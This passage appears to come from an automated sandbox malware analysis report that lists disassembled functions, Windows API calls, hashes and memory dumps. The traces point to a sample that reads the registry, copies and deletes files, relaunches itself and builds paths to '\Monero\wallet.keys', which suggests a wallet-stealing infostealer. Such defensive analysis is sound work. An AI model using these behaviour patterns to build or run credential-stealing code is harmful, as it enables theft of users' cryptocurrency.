Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 03a5d5951847db2f18000d8578f1f804dccc2f651e29417838c0f2ac6fdc649f
Instruction ID: bbdb9b450b98a056d6c840cc88b7d4dc4e9053ac0e906248e22c998ff1303f63
Opcode Fuzzy Hash: 03a5d5951847db2f18000d8578f1f804dccc2f651e29417838c0f2ac6fdc649f
Instruction Fuzzy Hash: 7021EA75D04208AFDF08EFE4E9499EEB7B5BF48300F04852AE41AB3250EB345609CB66

Function 00C47E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C47E37
RtlAllocateHeap.NTDLL(00000000), ref: 00C47E3E
RegOpenKeyExA.ADVAPI32(80000002,019CB8F8,00000000,00020119,?), ref: 00C47E5E
RegQueryValueExA.ADVAPI32(?,019DD278,00000000,00000000,000000FF,000000FF), ref: 00C47E7F
RegCloseKey.ADVAPI32(?), ref: 00C47E92

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 2408f0725655bf02c29892ffddbea53502a67b5de796209c8c4a5bbb4a8cada5
Instruction ID: 074f3c998993c1ee3f773f4b9f474fcc115dd2070a7941626f9b3756b8b8773b
Opcode Fuzzy Hash: 2408f0725655bf02c29892ffddbea53502a67b5de796209c8c4a5bbb4a8cada5
Instruction Fuzzy Hash: 12119EB1A44205EFD714CF96DC49FBFBBB8FB44B11F104269FA19A7280D77458448BA2

Function 00C49260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(019DDA60,?,?,?,00C4140C,?,019DDA60,00000000), ref: 00C4926C
lstrcpyn.KERNEL32(00E7AB88,019DDA60,019DDA60,?,00C4140C,?,019DDA60), ref: 00C49290
lstrlen.KERNEL32(?,?,00C4140C,?,019DDA60), ref: 00C492A7
wsprintfA.USER32 ref: 00C492C7

Strings

%s%s, xrefs: 00C492B5

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 65f9723c1dfb9f69dffc7af861c15161e24a4550ec677cd9733b19d9f5f3e885
Instruction ID: 28876ff8b42362dc6559dcc23428857f4689c530d048d04c378d6f7cb0d45bdf
Opcode Fuzzy Hash: 65f9723c1dfb9f69dffc7af861c15161e24a4550ec677cd9733b19d9f5f3e885
Instruction Fuzzy Hash: CA01E975500108FFCB04DFE8C989EAE7BB9EB84351F148158F909AB200C671AA84DB91

Function 00C312A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C312B4
RtlAllocateHeap.NTDLL(00000000), ref: 00C312BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00C312D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00C312F5
RegCloseKey.ADVAPI32(?), ref: 00C312FF

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 547e4fbe46c81b838e4184819c29e58d3e41b5bb5e31121aef6162c703d37545
Instruction ID: cc50ff314bea2a6fcedc98e33b51c9ca0b1af74312210505acee6038ffae1396
Opcode Fuzzy Hash: 547e4fbe46c81b838e4184819c29e58d3e41b5bb5e31121aef6162c703d37545
Instruction Fuzzy Hash: 570149B5A40208BFDB04DFD1DC49FAEB7BCEB88701F048155FA09E7280D6719A458F51

Function 00C46630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00C46663

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

ShellExecuteEx.SHELL32(0000003C), ref: 00C46726
ExitProcess.KERNEL32 ref: 00C46755

Strings

<, xrefs: 00C466D9

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 15667b520a7b59246857345257d210bd1953ee04d44ce0e79db77209ce1c0f25
Instruction ID: e696c0407e519717f425ceaa921f1f18a762fc3e7d01dffd573a767634519459
Opcode Fuzzy Hash: 15667b520a7b59246857345257d210bd1953ee04d44ce0e79db77209ce1c0f25
Instruction Fuzzy Hash: 043129B1801218AEEB14EBA0DC96BDEB778BF54300F404199F20976191DF746B89DF6A

Function 00C487C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00C50E28,00000000,?), ref: 00C4882F
RtlAllocateHeap.NTDLL(00000000), ref: 00C48836
wsprintfA.USER32 ref: 00C48850

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Strings

%dx%d, xrefs: 00C48847

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 2523d72af5aa42835b935578563581522d0d130ce7e61e38a9ca00defc0aabf2
Instruction ID: 1af1bd7091b57e298001ce37945bf9e690a004dc15e5fa3eea4bb93ad845d9d2
Opcode Fuzzy Hash: 2523d72af5aa42835b935578563581522d0d130ce7e61e38a9ca00defc0aabf2
Instruction Fuzzy Hash: C52130B1A40204AFDB04DFD5DD49FAEBBB8FB48701F144169F609B7280C77999448BA2

Function 00C48D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00C4951E,00000000), ref: 00C48D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00C48D62
wsprintfW.USER32 ref: 00C48D78

Strings

%hs, xrefs: 00C48D6F

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 0369ca3acb2b4c2845fa90cff2909a0d1ca3424edbead2772259e0ebbef62215
Instruction ID: 095d7da9c801bd7be6e0732987677f78e7540a6bbb865775ddad10362dfefdbe
Opcode Fuzzy Hash: 0369ca3acb2b4c2845fa90cff2909a0d1ca3424edbead2772259e0ebbef62215
Instruction Fuzzy Hash: CDE08CB4A40208BFD704DB95DC0EE6D77BCEB84702F0800A4FD0DA7280DA719E489BA6

Function 00C3A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C48B60: GetSystemTime.KERNEL32(00C50E1A,019D9B48,00C505AE,?,?,00C313F9,?,0000001A,00C50E1A,00000000,?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C48B86

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C3A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00C3A3FF
lstrlen.KERNEL32(00000000), ref: 00C3A6BC

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

DeleteFileA.KERNEL32(00000000), ref: 00C3A743

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d6b7584c5af3f2619a6c79c59b32abe5a6e98dcf547b751af9e9b0f22b85e5ad
Instruction ID: b86c1a46df95812064394d63fd708a5952333ebb78e9584a6ebe85c475cc6ae3
Opcode Fuzzy Hash: d6b7584c5af3f2619a6c79c59b32abe5a6e98dcf547b751af9e9b0f22b85e5ad
Instruction Fuzzy Hash: 93E1EE72850108ABEB14FBA4DC96EEE7338FF54300F548169F516B2091EF306A4DEB66

Function 00C3D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C48B60: GetSystemTime.KERNEL32(00C50E1A,019D9B48,00C505AE,?,?,00C313F9,?,0000001A,00C50E1A,00000000,?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C48B86

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C3D481
lstrlen.KERNEL32(00000000), ref: 00C3D698
lstrlen.KERNEL32(00000000), ref: 00C3D6AC
DeleteFileA.KERNEL32(00000000), ref: 00C3D72B

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 46a440ef283b77768bfd31f00eb3311d55b85adf028c13aa51d6d5f58d19c737
Instruction ID: a38e6b5555c82d73054e6f91391e463e3e123c6ca4d1d4f5fff4c61b2c1961ce
Opcode Fuzzy Hash: 46a440ef283b77768bfd31f00eb3311d55b85adf028c13aa51d6d5f58d19c737
Instruction Fuzzy Hash: 3A912D72850108ABEB04FBA0DC96EEE7338FF54304F544569F517B6092EF346A49EB62

Function 00C3D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C48B60: GetSystemTime.KERNEL32(00C50E1A,019D9B48,00C505AE,?,?,00C313F9,?,0000001A,00C50E1A,00000000,?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C48B86

Part of subcall function 00C4A920: lstrcpy.KERNEL32(00000000,?), ref: 00C4A972
Part of subcall function 00C4A920: lstrcat.KERNEL32(00000000), ref: 00C4A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00C3D801
lstrlen.KERNEL32(00000000), ref: 00C3D99F
lstrlen.KERNEL32(00000000), ref: 00C3D9B3
DeleteFileA.KERNEL32(00000000), ref: 00C3DA32

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: f9234e9bd46cec9cf839bdda07d9ba2ba9c14a8e33b8e241be8001822baa8316
Instruction ID: f04fc69fbe30e0bccd10caf7b993fddd4b57d1c4bc99ad49986d468c465dba4b
Opcode Fuzzy Hash: f9234e9bd46cec9cf839bdda07d9ba2ba9c14a8e33b8e241be8001822baa8316
Instruction Fuzzy Hash: 0D812E728501089BEB04FBA1DC96EEE7338FF54304F554528F407B6092EF346A49EBA2

Function 00C43560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
